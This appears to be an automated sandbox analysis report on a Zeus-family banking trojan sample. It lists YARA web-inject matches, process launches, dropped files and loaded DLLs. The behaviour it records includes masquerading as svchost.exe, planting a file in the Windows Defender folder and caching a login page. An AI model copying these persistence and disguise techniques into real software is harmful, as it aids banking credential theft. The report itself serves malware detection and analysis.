Source: 0000000E.00000002.2560722712.0000000002AC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2683674807.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000001C.00000002.2632514116.0000000002EB0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: Bpfz752pYZ.exe PID: 1596, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: svchost.exe PID: 4888, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 1656, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 3000, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 616, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 3704, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 4828, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 5576, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 4180, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 5376, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 4836, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 936, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 5720, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 6008, type: MEMORYSTRMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Bpfz752pYZ.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: svchost.exe.0.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: classification engineClassification label: mal100.bank.troj.spyw.expl.evad.winEXE@13/67@2302/27
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_00401C70 Sleep,memset,CreateToolhelp32Snapshot,CreateToolhelp32Snapshot,GetLastError,SwitchToThread,CreateToolhelp32Snapshot,GetHandleInformation,CloseHandle,Module32First,StrStrIA,Module32Next,StrStrIA,StrStrIA,Module32Next,0_2_00401C70
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_00402560 CoInitializeEx,GetModuleFileNameW,SysAllocString,SysAllocString,SysAllocString,CoCreateInstance,CoCreateInstance,CoCreateInstance,SysFreeString,SysFreeString,SysFreeString,CoUninitialize,0_2_00402560
Source: C:\Windows\apppatch\svchost.exeFile created: C:\Program Files (x86)\Windows Defender\vonypom.comJump to behavior
Source: C:\Windows\apppatch\svchost.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\login[1].htmJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4180
Source: C:\Windows\apppatch\svchost.exeMutant created: NULL
Source: C:\Windows\apppatch\svchost.exeMutant created: \Sessions\1\BaseNamedObjects\7D2DE4ADa
Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1656
Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3704
Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4836
Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3000
Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5376
Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5720
Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5576
Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess616
Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess936
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeFile created: C:\Users\user\AppData\Local\Temp\97C3.tmpJump to behavior
Source: Bpfz752pYZ.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: Bpfz752pYZ.exeReversingLabs: Detection: 81%
Source: Bpfz752pYZ.exeString found in binary or memory: -help
Source: svchost.exeString found in binary or memory: -help
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeFile read: C:\Users\user\Desktop\Bpfz752pYZ.exeJump to behavior
Source: unknownProcess created: C:\Users\user\Desktop\Bpfz752pYZ.exe "C:\Users\user\Desktop\Bpfz752pYZ.exe"
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeProcess created: C:\Windows\apppatch\svchost.exe "C:\Windows\apppatch\svchost.exe"
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1656 -s 704
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3000 -s 736
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 616 -s 916
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3704 -s 712
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5576 -s 760
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4180 -s 992
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5376 -s 696
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4836 -s 740
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 936 -s 1444
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5720 -s 724
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeProcess created: C:\Windows\apppatch\svchost.exe "C:\Windows\apppatch\svchost.exe"Jump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: inetcomm.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: msoert2.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: oleacc.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: inetres.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: vmhgfs.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: netapi32.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: samcli.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: netutils.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: mpclient.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: firewallapi.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: fwbase.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: fwpolicyiomgr.dllJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: inetcomm.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: msoert2.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: oleacc.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: inetres.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: vmhgfs.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: netapi32.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: mpclient.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: firewallapi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: fwbase.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: fwpolicyiomgr.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: winscard.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: devobj.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: sensapi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: wininet.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: schannel.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: winsta.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: symsrv.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: samlib.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winscard.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: devobj.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sensapi.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netapi32.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: samcli.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netutils.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wininet.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wldp.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sspicli.dllJump to behavior
